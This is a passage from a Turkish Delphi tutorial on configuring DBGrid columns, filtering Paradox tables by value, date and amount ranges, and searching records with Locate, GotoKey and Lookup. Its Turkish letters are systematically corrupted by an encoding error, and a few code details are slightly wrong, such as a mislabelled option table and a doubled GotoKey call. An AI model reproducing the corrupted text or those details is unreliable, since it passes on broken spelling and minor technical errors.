Sola Dayalı taRightJustify Sütun øçerisinde Sa÷a Dayalı 36 DataGrid Sütun Geniúliklerini Ayarlamak: Düzgün bir görüntü için “DataGrid” nesnenizin sütun geniúliklerini en uygun boyuta getirmelisiniz. Aksi takdirde çirkin bir görünümü olacaktır. “DataGrid” nesneniz için sütun geniúliklerini aúa÷ıdaki úekilde ayarlayabilirsiniz. Yukarıdaki adımları aynen izleyip “Columns Editor” penceresini açın. Bu pencerede geniúli÷ini de÷iútirece÷iniz sütunu seçip “Object Inspector” penceresinden “Width” özelli÷ine uygun olan geniúlik miktarını girerek sütun geniúliklerini ayarlayabilirsiniz. DataGrid Sütunlarını ReadOnly Yapmak: Bilhassa kayıt ekleme veya kayıt de÷iúikliklerinin “DataGrid” kontrolünden yapılmasına izin verdi÷iniz durumlarda, kullanıcının bazı sütun de÷erlerini de÷iútirebilmesini istemeyebilirsiniz. Bu tip durumlarda o sütuna salt okunur özelli÷i vermelisiniz. Aúa÷ıda bu iúlemi nasıl yapabilece÷iniz açıklanmaktadır. Önceki uygulamada izledi÷iniz adımları aynen izleyerek “Columns Editor” penceresinin açılmasını sa÷layınız. Salt okunur özelli÷i verece÷iniz sütunu seçip “Object Inspector” penceresinden “ReadOnly” özelli÷ini true yapın. ùimdi programınızı çalıútırırsanız, di÷er sütunlarda kolayca de÷iúiklik yapabilmenize ra÷men “ReadOnly” özelli÷ini “true” yaptı÷ınız sütunda de÷iúiklik yapamayacaksınız. DataGrid Sutununu ComboBox ùeklinde Kullanmak: “DataGrid” kontrolü içerisinde kayıt de÷iúikli÷i veya kayıt ekleme iúlemi sırasında, içeri÷in açılan bir “ComBoBox” kontrolünden seçilebilmesini sa÷layabilirsiniz. Aúa÷ıda bu iúlemi nasıl yapabilece÷iniz açıklanmaktadır. Yukarıdaki adımları izleyerek “Columns Editor” penceresinin açılmasını sa÷layınız. Sütunlardan “ComboBox” gibi davranmasını istedi÷inizi seçip “Object Inspector” penceresinden “PickList” özelli÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır. Burada kayıt de÷iúikli÷i (veya kayıt ekleme) anında seçebilece÷i seçenekleri teker teker girin. Biz örne÷imiz için “MAGAZAADI” sütununa “MIGROS-DIA-GIMA-BIM-ùOK” de÷erlerini girdik. Programı çalıútırdıktan sonra aúa÷ıdaki gibi “DataGrid” kontrolünde yer alam “MAGAZAADI” sütununa mous ile çift tıklayın. Girmiú oldu÷unuz ma÷azaların isimlerinin yer aldı÷ı seçenekler ComboBox kontrolünde oldu÷u gibi açılan bir liste halinde karúınıza gelecektir. Buradan ma÷azanızı seçip de÷iúikli÷i gerçekleútirebilirsiniz. 37 Aúa÷ıdaki pencere “PickList” de÷erlerine ma÷aza adları girildikten sonra uygulamanın çalıútırılmasından elde edilmiútir. DataGrid Kontrolüne Ait Sütun Baúlıklarını Renklendirmek: “DataGrid” kontrolünüze ait sütun baúlıklarını istedi÷iniz úekilde renklendirebilirsiniz. Aúa÷ıda bu iúlemi nasıl yapabilece÷iniz açıklanmıútır. Yukarıdaki adımları izleyerek “Columns Editor” penceresinin açılmasını sa÷layın. Bu pencerede renklendirece÷iniz sütunu seçip “Title” özelli÷inin solundaki “+” iúaretine tıklayın. Açılan alt seçeneklerde yer alan “Color” özelli÷inden diledi÷iniz rengi seçebilirsiniz. DataGrid Sütunlarını Renklendirmek: Kontrolde gösterilen tüm sütunları farklı renklerde gösterebilirsiniz. Aúa÷ıda belirtilen adımları izleyin. Daha önce gösterilen úekilde “Columns Editor” penceresini açın. Bu pencerede renklendirece÷iniz sütunu seçip “Object Inspector” penceresinden “Color” (Title yok artık) özelli÷ine istedi÷iniz rengi atayabilirsiniz. DataGrid Font Ayarları: “Columns Editor” penceresini açtıktan sonra font ayarlarını de÷iútirece÷iniz sütunu seçip “Object Inspector” penceresinden “Font” özelli÷inin solunda yer alan “+” iúaretine tıklayın. Açılan alt seçeneklerden tüm font ayarlarını yapabilirsiniz. 38 DataGrid Kontrolünde øúe Yaramayan Sütunları Gizlemek: Bazı durumlarda tablonuzda yer alan tüm sütunları “DataGrid” nesnenizde göstermek istemeyebilirsiniz. Böyle durumlarda aúa÷ıdaki adımları izlemelisiniz. Önceki uygulamalarda gösterildi÷i gibi “Columns Editor” penceresini açın. Mousun sa÷ tuúuna tıklayarak açaca÷ınız menüden “Add All Fields” seçene÷ini seçin. Sol taraftaki pencerede tüm sütunlar gösterimde olup. Sa÷ taraftakinde ise “ARIZASEBEBI” ile “SIRANO” sütunları “Delete” tuúuna basılarak pencereden silinmiútir. Uygulamanızı çalıútırırsanız “DataGrid” kontrolünüz aúa÷ıdaki úekilde gözükecektir. Pencereye dikkatli baktı÷ınız zaman “ARIZASEBEBI” ile “SIRANO” sütunlarının gözükmedi÷ini göreceksiniz. “DataGrid” kontrolünde sütunların silinmesi tablonuzda hiçbir de÷iúiklik yapmayacaktır. 39 DataGrid Kontrolünde Sütun Baúlıklarını Gizlemek: ùayet sütun baúlıklarının gösterilmesini istemiyorsanız. “DataGrid” kontrolünü seçip “Object Inspector” penceresinde yer alan “Options” özelli÷inin solundaki “+” iúaretine tıklayın. Açılan seçeneklerden “dgTitles” özelli÷ini false yaparsanız sütun baúlıklarınız gözükmeyecektir. Buradaki “Options” özelli÷inden di÷er bir çok ayarı yapabilirsiniz. Mesela “dgEditing” özelli÷ini false yaparsanız, kullanıcı sütunlardaki hiç bir kayıt bilgisini de÷iútiremez. “dgColLines” özelli÷ini false yaparsanız düúey çizgiler gözükmez. “dgRowLines” özelli÷ini false yaparsanız yatay çizgiler gözükmez. “dgRowSelect” özelli÷ini true yaparsanız tüm kaydı aúa÷ıdaki úekilde seçebilirsiniz. “Options” ta yer alan tüm özellikleri deneyin oldukça kullanıúlı ve sevimli özellikler olduklarını göreceksiniz. 40 Aktif Kayıttaki Satır ve Sütun De÷erlerine Ulaúmak: Aúa÷ıdaki kod blo÷unu kullanarak bulundu÷unuz kaydın kaçıncı kayıt oldu÷unu veya hangi sütuna tıkladı÷ınızı kolayca ö÷renebilirsiniz. type yenigrid=class(tdbgrid);//yavru grid nesnesi türetildi procedure TForm1.DBGrid1CellClick(Column: TColumn); //Herhangi bir hücreye tıklanılması durumunda otomatik olarak iúler begin Label1.Caption:=Format ('Sütun: %2d; Satır: %2d', [yenigrid (DbGrid1).Col,yenigrid (DbGrid1).Row]); end; DataGrid Nesnesindeki Toplam Satır Sayısını Hesaplamak Aúa÷ıdaki úekilde kullanaca÷ınız bir kod blo÷u sayesinde “DataGrid” nesnesi içerisinde yer alan satur sayısını kolayca hesaplayabilirsiniz. Programa ait kod blo÷u aúa÷ıda verilmektedir. 41 type yenigrid=class(tdbgrid); procedure TForm1.DBGrid1ColEnter(Sender: TObject); //Di÷er bir sütuna tıklanılması durumunda iúler begin Form1.Caption:=Format('Toplam Kayıt:%2d', [yenigrid(DBGrid1).RowCount]);//kaç satır var end; DataGrid Nesnesi øçerisinde Sutuna Ait øúlem Yaptırmak: Aúa÷ıdaki uygulamada DataGrid içerisinde “FATURATUTARI” sütununa ait genel toplam miktarı hesaplanmaktadır. type yenigrid=class(TDBGrid);//Yeni class tanımlandı procedure TForm2.Button1Click(Sender: TObject); var adet,satir,i:Integer; toplam:Double; begin Table1.Open; toplam:=0; adet:=StrToInt(Format('%2d',[yenigrid(DBGrid1).RowCount-1]));//satır sayısı Table1.First;//ilk kayıda git for i:=1 to adet do begin toplam:=toplam+DBGrid1.Fields[5].AsCurrency;//sonuca ekle Table1.Next;//sonraki kayda geç 42 end; Form2.Caption:='Toplam Fatura Tutarı='+FloatToStrF(toplam,ffCurrency,14,0); end; DataGrid Nesnesine Ait Yordamlar: ùimdi de sizlere DataGrid nesnesine ait tetikleyicilerden bahsetmek istiyorum. x OnCellClick DataGrid içerisinde herhangi bir hücreye tıklanılması durumunda otomatik olarak iúleyen yordamdır. type yenigrid=class(TDBGrid);//Yeni class tanımlandı procedure TForm2.DBGrid1CellClick(Column: TColumn); //Seçili satır sayısını bul begin DBGrid1.Options:=DBGrid1.Options+[dgMultiSelect];//birden fazla satır seç Form2.Caption:=Format('Seçili Satır Adedi:%2d',[yenigrid(DBGrid1).SelectedRows.Count]);//seçili satır sayısı end; Programı çalıútırıp de÷iúik hücrelere tıklayın seçili satır sayısı baúlıkta yazacaktır. 43 x OnColEnter DataGrid nesnesi içerisindeki herhangi bir sütunun aktifleútirilmesi sonucu otomatik olarak iúleyen bir yordamdır. økinci kez iúletilebilmesi için DataGrid içerisinde farklı bir sütuna ait hücreye tıklanılması gerekecektir. procedure TForm2.DBGrid1ColEnter(Sender: TObject); begin ShowMessage('Yeni Bir Sütuna Geçiú Yaptınız'); end; x OnColExit DataGrid nesnesi içerisinde aktif sütundan di÷er sütuna geçiú anında otomatik olarak iúleyen bir yordamdır. økinci kez iúletilebilmesi için baúka bir sütuna geçiú yapılması gerekecektir. procedure TForm2.DBGrid1ColExit(Sender: TObject); begin ShowMessage('Sütun De÷iúti'); end; x OnTitleClick DataGrid nesnesine ait sütun baúlıklarına tıklanılması durumunda otomatik olarak iúleyen bir yordamdır. Bu yordamda tanımlanmıú olan “Column” parametresi tıklanılan kolon baúlı÷ına ait tüm özellikleri tutabilmektedir. Aúa÷ıdaki uygulamada ilk üç sutuna ait baúlıklara tıklanıldı÷ı zaman, o sütuna göre tabloda sıralatma iúlemi gerçekleútirilmektedir. Sıralatma yapılacak olan sütunlara ait index tanımlamalarının muhakkak yapılması gerekti÷inide hatırlatalım. 44 ùayet “SERVISTARIHI” sütun baúlı÷ına tıklarsanız tablo görüntünüz aúa÷ıdaki úekilde gerçekleúecektir. Uygulamaya ait kod blo÷u aúa÷ıda verilmiútir. procedure TForm2.DBGrid1TitleClick(Column: TColumn); begin if column.Index=0 Then//ilk sütu baúlı÷ına tıklanırsa begin table1.DefaultIndex:=true ; //primary indexe göre sırala Form2.Caption:='SIRANO ya Göre Sıralandı'; end else if column.index=1 Then//ikinci sütun baúlı÷ına tıklanırsa begin Table1.IndexName:='MAGAZAINDEX'; //ma÷aza adına göre sırala Form2.Caption:='MAGAZAADI na Göre Sıralandı'; end else if column.index=2 Then//üçüncü sütün baúlı÷ına tıklanırsa begin Table1.IndexName:='TARIHINDEX'; //servis tarihine göre sırala Form2.Caption:='SERVISTARIHI ne Göre Sıralandı'; end; end; 45 Kayıt Filtreleme øúlemleri: Tablonuzda bulunan tüm kayıtlar ile de÷il, içilerinden belirli özelli÷i olan kayıtlarla ilgileniyorsanız kullanaca÷ınız yöntem kayıtları filtrelemek olacaktır. “Query” kontrolü kullanarak daha geliúmiú tablo sorguları oluúturabilirsiniz. Fakat bilhassa server-client uygulamalarında serverin devamlı sorguyla zorlanması performansınızı etkileyecektir. Onun yerine (her zaman de÷il) kendi lokal makinenize aldı÷ınız table nesnesini kullanarak kayıtlarınızı istedi÷iniz úekilde kolayca filtreleyebilirsiniz. Bu size daha performnslı bir çalıúma ortamı yaratabilir. Aúa÷ıda Tablo kontrolünde yer alan kayıtları nasıl filtreleyebilece÷iniz konusu iúlenmektedir. x Table1.FilterOptions Filtreleme iúleminde, küçük büyük harf duyarlılı÷ının olup olmayaca÷ını ve alan parçasına göre filtreleme yapılıp yapılamayaca÷ını belirleyen özelli÷idir. Alabilece÷i de÷erler aúa÷ıda verilmiútir. FilterOptions Sonuç foCaseInsensitive Küçük-Büyük Harf Duyarlılı÷ı Yok foNoPartialCompare Alan Parçasına Göre Filtreleme Yapılabilir. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.FilterOptions:=[foCaseInsensitive];//harf duyarlılı÷ı yok end; x Table1.Filtered Belirlenen kriterin tabloya uygulanıp uygulanmayaca÷ını belirleyen özelli÷idir. “True” de÷erinin aktarılması filtre kriterinin tabloya uygulanması anlamını taúımaktadır. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.FilterOptions:=[foCaseInsensitive];//harf duyarlılı÷ı yok Table1.Filtered:=true;//kriteri uygula end; Bu özelli÷e “false” de÷erinin aktarılması tablodaki tüm kayıtların tekrar listelenmesini sa÷layacaktır (Filtre iptal). 46 x Table1.Filter Tabloya uygulanacak olan filtre kriteri bu özellikle belirlenir. Kodlamada aúa÷ıdaki úekilde bir blok kullanmalısınız. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin Table1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter end; Kriteri belirlemeniz tablonuzun filtrelenece÷i anlamını taúımaz. Muhakkak ardından “Filtered” özelli÷ine true de÷erini aktarmalısınız. Yukarıda anlattı÷ımız özelliklerin daha iyi bir úekilde anlaúılabilmesi için olayı bir örnekle pekiútirelim.ølk olarak formunuza bir adet “Table”, bir adet “DataSource”,bir adet “DataGrid”, bir adet “GroupBox,bir adet “Label” ve bir adet “Edit” kontrolü yerleútirerek tüm kayıtların “DataGrid” nesnesinde gösterilmesini sa÷layın. Amacımız sadece “Edit” kutusuna girdi÷imiz ma÷aza ismini listelemek olacaktır. øúlemin uygulanıúı ma÷aza adının “Edit” kontrolüne girildikten sonra “Enter” tuúuna basılmasıyla gerçekleúecektir. Aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then //Enter tuúu tıklanırsa begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarlılı÷ı yok 47 Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter Table2.Filtered:=true; end; end; Programı çalıútırıp “MAGAZA ADI” nı Edit kontrolüne girip “Enter” tuúuna basınız. “DataGrid” kontrolünüzde sadece “MIGROS” ma÷azalarına yapılmıú olan servisler listelenecektir. Aúa÷ıdaki kodlamada “Enter” tuúuna basmanıza gerek yoktur. Her karaktere bastı÷ınız zaman kriter yeniden denenecektir. procedure TForm7.Edit1Change(Sender: TObject); begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarlılı÷ı yok Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter Table2.Filtered:=true; end; Projeyi çalıútırdı÷ınız zaman ma÷aza ismini “Edit” kontrolünün içerisine tamamen yazana kadar hiç bir kayit “DataGrid” nesnesi içerisinde listelenmeyecektir. Ma÷aza adı tamamen yazıldıktan sonra, o ma÷azaya ait tüm servisler “DataGrid” nesnesi içerisinde listelenmiú olacaktır. Kodu aúa÷ıdaki úekilde de÷iúirseniz girece÷iniz ilk karakterlere göre filtreleme yapabilirsiniz. Burada kodu yine “OnChange” yordamına yazmanız gerekti÷ini hatırlatıp, kod satırlarını verelim. 48 procedure TForm7.Edit1Change(Sender: TObject); begin Table2.FilterOptions:=[foCaseInsensitive];//harf duyarlılı÷ı yok Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text+'*');//kriter Table2.Filtered:=true; end; Prgramı çalıútırıp kriter kısmında “G” Harfine basarsanız “G” ile baúlayan tüm Ma÷aza servislerini listeleyebilirsiniz. økinci karakter olarak “U” ya basarsanız “GIMA” ma÷azasıda kayıtlar arasında listelenmeyecektir. Filtrelenmiú Kayıtlar Arasında Gezinmek: Filtrelemiú oldu÷unuz kayıtlar arasında kolaylıkla dolaúabilirsiniz. Yapmanız gereken tek úey tablo nun filtreli olup olmadı÷ını kontrol etmekten ibaret olacaktır. Filtreli Kayıtlarda Bir Sonrakini Git: Aúa÷ıdaki kodlamayla filtreli kayıtlar içerisinde sonraki kayda ulaúabilirsiniz. procedure TForm7.Button3Click(Sender: TObject); begin if Table2.Filtered=true Then//filtre uygulanmıúsa table2.FindNext;//sonraki kayda git end; 49 Filtreli Kayıtlarda Bir Öncekine Git: procedure TForm7.Button4Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindPrior;//bir önceki kayda git end; Filtreli Kayıtlarda ølk Kayda Git: procedure TForm7.Button5Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindFirst;//ilk kayda git end; Filtreli Kayıtlarda Son Kayda Git: procedure TForm7.Button6Click(Sender: TObject); begin if Table2.Filtered=true Then table2.FindLast;//son kayda git end; Tarih Aralı÷ına Göre Filtre Uygulamak: Yukarıdaki örnekte girece÷iniz iki tarih arasını da filtreleyebilirsiniz. Yanlız bu iúlemi gerçekleútirebilmeniz için bu sütunun muhakkak Primary veya Secondary index olarak tanıtılmıú ve indexin aktifleútirilmiú olması gerekmektedir. ùimdi sizlere Tablonuzda (SERVIS) nasıl secondary index tanımlayabilece÷inizi gösterece÷im. Secondary Index Tanımlamak: “Start->Programs->Borland Delphi->Database Desktop” adımlarını izleyin. Ardından açılan pencereden “File->Open->Table” diyerek daha önce kaydetmiú oldu÷unuz “SERVIS” tablosunu açın. Yine “Table->Restructure” seçeneklerini izleyerek tablonuzun tasarım anına ulaúın. ùimdi bu pencereyi kullanarak hem “SERVISTARIHI” sütununu hemde “FATURATUTARI” sütununu secondary index olarak tanımlayaca÷ız. 50 Hatırlatalım Seconder index tanımlayabilmeniz için Paradox ta muhakkak primary index tanımlaması yapmıú olmanız gerekmektedir. “Restructure Paradox” penceresinde yer alan “Table Properties” kısmından “Secondary Indexes” seçene÷ini seçin ve “Define” dü÷mesine tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencerede “SERVISTARIHI” sütununu seçip “Indexed fields” listesine aktarın. Ardından “OK” buttonuna tıklayın. 51 Karúınıza aúa÷ıdaki pencere açılacak ve sizden indexinizin ismini girmenizi isteyecektir. øndex isimlerinizi rasgele vermeyin. Daha sonra projeyi incelerken o indexin hangi sütuna ait oldu÷unu hatırlayabilesiniz. Tekrar “Define” buttonuna tıklayarak aynı “FATURATUTARI” sütunu için gerçekleútirin. “TUTARINDEX” úeklinde adlandırın. iúlemleri Index in bu sefer ismini de Bu úekilde “SERVIS” tablosu için iki adet secondary index tanımlamıú olduk. Bu aúamadan sonra kolayca aralık filtrelemesi yapabilirsiniz. x Table2.SetRange Aralık filtrelemek için kriterlerinizi belirleyen özelli÷idir. Bu komutu kullanabilmeniz için, aralık filtrelemesi yapaca÷ınız sütunun muhakkak index olarak tanımlanmıú olması gerekmektedir. procedure TForm7.Button1Click(Sender: TObject); begin Table2.SetRange([Edit2.Text],[Edit3.Text]); end; Yukarıdaki kod satırında “Edit1” ve “Edit2” kontrollerine girilen tarih içeriklerinin arasında kalan kayıtları listelemesi söylenmektedir. x Table2.ApplyRange “SetRange” komutuyla girilen kriterlere göre tablonun filtrelenmesini sa÷layan komuttur. “SetRange” komutu sadece filtreleme kriterlerini belirler. Filtre iúlemini tabloya uygulamaz. Filtreleme iúlemini tabloya uygulamanız için kesinlikle gerekli olan bir komuttur. ùimdi aúa÷ıdaki tasarımı oluúturup aralık filtreleme iúlemini örnek üzerinde görelim. Daha önce anlatılan yöntemlerle gerekli tablolara ba÷lanıp, kayıtların “DataGrid” nesnesi içerisinde gösterilmesini sa÷layın. 52 procedure TForm7.Button1Click(Sender: TObject); begin Table2.IndexName:='TARIHINDEX';//indexi aktifleútir Table2.SetRange([Edit2.Text],[Edit3.Text]);//kriterler Table2.ApplyRange;//uygula end; Programı çalıútırıp “Edit1” ve “Edit2” kontrolüne tarihlerinizi girip Button kontrolüne tıklayın. Belirtti÷iniz aralıktaki kayıtların listelendi÷ini göreceksiniz. Uyguladı÷ınız filtreyi iptal etmek için aúa÷ıdaki úekilde bir kod blo÷u kullanabilirsiniz. procedure TForm7.Button2Click(Sender: TObject); //Tümünü Göster begin Table2.Close; Table2.Open; end; Parasal Aralı÷a Göre Filtre Uygulamak: Tablonuzdaki parasal sutunlar için de kolayca filtre uygulayabilirsiniz. Filtre kriterini koyaca÷ınız sütunun indexli ve indexinin de aktif olmasına dikkat etmelisiniz. 53 Aúa÷ıda izlemeniz gereken adımlar ve özellikleri dikkatlice incelenmektedir. x Table2.SetRangeStart Alt sınıra ait filtreyi belirlemek için kulanılan bir özelliktir. Bu satırdan sonra belirtece÷iniz kriteri aralı÷ın alt sınırı olarak kabul edecektir. Table2.SetRangeStart; Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text) x Table2.SetRangeEnd; Üst sınıra ait filtreyi belirlemek için kulanılan bir özelliktir. Bu satırdan sonra belirtece÷iniz kriteri aralı÷ın üst sınırı olarak kabul edecektir. Table2.SetRangeEnd; Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text) x Table2.ApplyRange Belirtilen aralı÷ı tabloya filtre olarak uygulamayı sa÷layan methoddur. Bu satır olmadan kriterleri belirleseniz bile “DataGrid” kontrolünüz filtreli kayıtları göstermeyecektir. ùimdi aúa÷ıdaki úekilde bir tasarım oluúturup gerekli ba÷lantıları daha önce anlatıldı÷ı úekilde yapın. 54 procedure TForm7.Button7Click(Sender: TObject); begin Table2.IndexName:='TUTARINDEX';//imdexi aktif yap Table2.SetRangeStart;//alt sınır Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text); Table2.SetRangeEnd;//üst sınır Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text); Table2.ApplyRange; end; Burada yine index in çok önemli oldu÷unu hatırlatmak isterim. Kullanılacak olan index in “Primary” veya “Secondary” olması komutlar için önem arz etmez. Yanlız o sütuna ait index in “Object Inspector” penceresinden veya kodla muhakkak aktifleútirilmesi gerekecektir. 55 Kayıt Arama øúlemleri: Bu bölümde hangi kayıtta olursanız olun, iúinize yarayan kaydı bulup aktif yapma iúlemini gerçekleútirece÷iz. Kayıt arama iúlemlerinde birden fazla sütuna göre aramada yaptırabilirsiniz. Her çeúit yöntemi örneklendirmeye çalıúaca÷ım. Fazla kayıt içeren tablolarda kayıt arama iúlemlerini muhakkak index tanımlayarak yapmalısınız. Bu size çok daha hızlı sonuç alma seçene÷i yaratacaktır. Index in primary veya secondary olması önem arz etmeyecektir. Delphi’de kayıt arama iúlemleri için kullanılan birkaç yöntem bulunmaktadır. Bu yöntemlerin hepsini detaylı olarak anlatmaya çalıúaca÷ım. Lütfen dikkatlice inceleyiniz. x Locate Methodu Bu method sayesinde indexli veya indexsiz sütunlarda arama yaptırabilirsiniz. øndexli sütunlarda yaptıraca÷ınız aramalar çok daha hızlı sonuç verecektir. procedure TForm2.Button1Click(Sender: TObject); begin Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kayıt Bul end; ùimdi aúa÷ıdaki tabloyu paradoxta oluúturup üzerinde iúlemler yapalam. Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) MAGAZAADI A 25 ADRES A 25 TELEFON A 15 MUDUR A 25 SEHIR A 25 Key(Primary ind) * “MAGAZAADI” sütununu primary index olarak tanımlamayı unutmayınız. Tabloyu oluúturduktan sonra daha önceki bölümde anlatıldı÷ı gibi içerisine “MIGROS –DIA-GIMA” ma÷azalarının bulundu÷u kayıtları girin (primary index oldu÷u için aynı ma÷aza ismini ikinci kayıtta kullanamazsınız). ùimdi aúa÷ıdaki tasarımı oluúturup Table nesnesine aktardı÷ınız kayıtların tamamının “DataGrid” nesnesinde gösterilmesini sa÷layın. Daha sonra formunuza bir adet “Edit” kontrolü ile bir adet “Button” kontrolü yerleútiriniz. Amacımız button kontrolüne tıkladı÷ımız zaman edit içerisindeki ma÷azayı bulup aktif hale geçirmek olacaktır. 56 Bu methodun önemli bir özelli÷ide bulunan kaydın aktif kayıt haline getirilmesidir. Yukarıda verilen tasarımı oluúturduktan sonra “Kayıt Bul” dü÷mesine aúa÷ıdaki kod satırlarını ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); begin Table1.DefaultIndex:=true;//primary index aktif Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kaydı bul end; Bu örnekte küçük büyük harf duyarlılı÷ı bulunmaktadır. Yani küçük harfle migros yazarsanız kaydı bulamazsınız. ùayet bu hassasiyeti ortadan kaldırmak istiyorsanız kullanılan üçüncü parametreyi aúa÷ıdaki úekilde de÷iútirmelisiniz. procedure TForm2.Button1Click(Sender: TObject); begin Table1.DefaultIndex:=true;//primary index aktif Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);//duyarsız end; Üçüncü parametrenin alabilece÷i seçenekler aúa÷ıda verilmiútir. Parametre Sonuç foCaseInsensitive Küçük-Büyük Harf Duyarlılı÷ı Yok foNoPartialCompare Alan Parçasına Göre Arama Yapılabilir. 57 Aranan kaydın bulunamaması sizin için önem arz ediyorsa o zaman kodunuzu aúa÷ıdaki úekilde de÷iútirmelisiniz. procedure TForm2.Button1Click(Sender: TObject); var ara:Boolean; begin Table1.DefaultIndex:=true;//primary index aktif ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if ara=false Then ShowMessage('Kayıt Bulunamadı'); end; Burada kullanılan “ara” isimli de÷iúken, kaydın bulunamaması durumunda false, bulunması durumunda ise true de÷erini almaktadır. Daha sonra bu de÷eri kullanarak kaydın bulunup bulunamadı÷ını kolayca ö÷renebilirsiniz. Birden Fazla Sütuna Göre Arama Yaptırmak: Kayıt arama iúlemi için tek sütun yeterli de÷ilse, birden fazla kriter kullanacaksanız, o zaman aúa÷ıdaki yöntemi uygulamanız gerekecektir. Formunuza ikinci bir “Edit” kontrolü yerleútirerek aúa÷ıdaki tasarımı oluúturunuz. Aúa÷ıda yazaca÷ımız kodu çalıútırabilmeniz için “Uses” satırına “Variants” kütüphanesini eklemelisiniz. 58 procedure TForm2.Button2Click(Sender: TObject); //uses satırına Variants ı eklemeyi unutmayınız. var ara:Boolean; begin ara:=Table1.Locate('ADRES;MUDUR',varArrayOf([Edit1.Text,Edit2.Text]),[]); if not ara Then ShowMessage('Kayıt Bulunamadı'); end; Yukarıdaki örnekte “ADRES” ve “MUDUR” sütununa göre arama yaptırılmaktadır. “Edit1” kontrolüne girilen de÷er “ADRES” içinde, “Edit2” kontrolüne girilen de÷erde “MUDUR” sütunu içerisinde aratılacaktır.Amaç aynı kayıtta ikisine rastlarsa o kaydı aktif hale getirmek olacaktır. ùayet kaydı bulamazsa “ara” isimli “Boolean” tip de÷iúken “false” de÷erini alarak kayıt bulunamadı uyarısını kullanıcıya iletecektir. x SetKey-GotoKey Methodları Index li sütunlara göre kayıt araması yapılabilen ikinci yöntemdir. Kullanımına ait örneklendirme aúa÷ıda yapılmıútır. Table1.SetKey Kayıt arama iúlemini baúlatan komuttur. Sadece indexli sütunlar için kullanılabilmektedir. procedure TForm4.Button1Click(Sender: TObject); begin Table1.SetKey;//Kayıt arama iúlemine baúla end; Table1.GotoKey Aranan kritere uygun kaydı aktifleútirmek için kullanılan komuttur. Sadece indexli sütunlar için çalıúmaktadır. procedure TForm4.Button1Click(Sender: TObject); begin Table1.GotoKey; //harf duyarlılı÷ı var end; 59 ùimdi aúa÷ıdaki form tasarımını oluúturup SetKey-GotoKey methodlarının örnek içerisinde kullanımını görelim. Aúa÷ıdaki kod satırlarını “Kayıt Bul” buttonunun “OnClick” yordamına ekleyiniz. procedure TForm4.Button1Click(Sender: TObject); //Kayıt Bul begin Table1.SetKey;//Kayıt arama iúlemine baúla Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text;//kriter Table1.GotoKey; //harf duyarlılı÷ı var if Table1.GotoKey=false Then ShowMessage('Kayıt Bulunamadı'); end; x SetKey-GotoNearest Methodları Aradı÷ınız kaydın içeri÷ini tam olarak bilmiyorsanız, veya tamamını yazmadan arama yapabilmek için kullanılan methodlardır. “SetKet” aramaya baúlayabilmek için gerekli komut olup önceki örnekle aynı karakteristi÷i taúımaktadır. Table1.GotoNearest Belirtilen alan parçasına göre arama yapabilen methoddur. Aynı úekilde kritere uyan kayıt bulundu÷u zaman aktifleútirilecektir. Aúa÷ıda bu methodların beraber kullanımına ait örneklendirme yapılmıútır. 60 procedure TForm4.Button2Click(Sender: TObject); //Alan parçasına göre ara begin Table1.SetKey;//Kayıt arama iúlemine baúla Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text; Table1.GotoNearest; //harf duyarlılı÷ı yok end; x Lookup Methodu Kaydı aktif yapmadan arama iúlemi yapabilen methoddur. Kayıt bulunduktan sonra, aktif kayda ait istenilen sütun de÷eri de÷iúkene aktarılabilir. Aúa÷ıdaki örnekte bu husus iúlenmektedir. 61 procedure TForm4.Button3Click(Sender: TObject); var ara:variant; begin ara:=Table1.Lookup('MAGAZAADI',Edit1.Text,'ADRES;MUDUR'); if VarIsNull(ara) Then //boú sa ShowMessage('Kayıt Bulunamadı') else ShowMessage('Ma÷aza Adresi='+ara[0]+#13#10+'Ma÷aza Müdürü='+ara[1]); end; ùimdi verdi÷imiz kodu açıklamaya çalıúalım. “Lookup” methoduyla Ma÷aza adı sutununda kritere uygun olan de÷er aranmakta, kayıt bulunduktan sonra “ADRES” ara[0] isimli variant tip de÷iúkene, “MUDUR” de ara[1] isimli di÷er variant tip de÷iúkene aktarılmaktadır (buradaki ara isimli dizi de÷iúkeni kendisi otomatik olarak oluúturmaktadır). 62 Transaction øúlemi: Toplu kayıt iúlemlerinde (kayıt ekleme veya de÷iútirme) veri güvenli÷ini sa÷lamak amaçlı kullanılan çok önemli bir yöntemdir. Tablonuza döngü içerisinde kayıt girdi÷inizi düúünün, arada bir tanesinde oluúabilecek hata çok kötü sonuçlar do÷urabilecektir. Bu tür sonuçları engellemek amaçlı transaction kullanırsanız, kaydetmeye baúlamadan (veya silmeye) önceki konuma dönüp tekrar deneme úansınız olacaktır. ùayet herhangi bir aksaklık olmazsa tüm de÷iúiklikleri kabul edip di÷er iúlemlerinize geçebilirsiniz. “Transaction” iúlemini güvenlik açısından kullanmak zorunda (tam bir zorunluluk yoktur ama çok faydalı olacaktır) di÷er bir durumda network uygulamalarıdır. Bilgisayarlar arası bilgi tutarlılı÷ını sa÷lamak için tüm 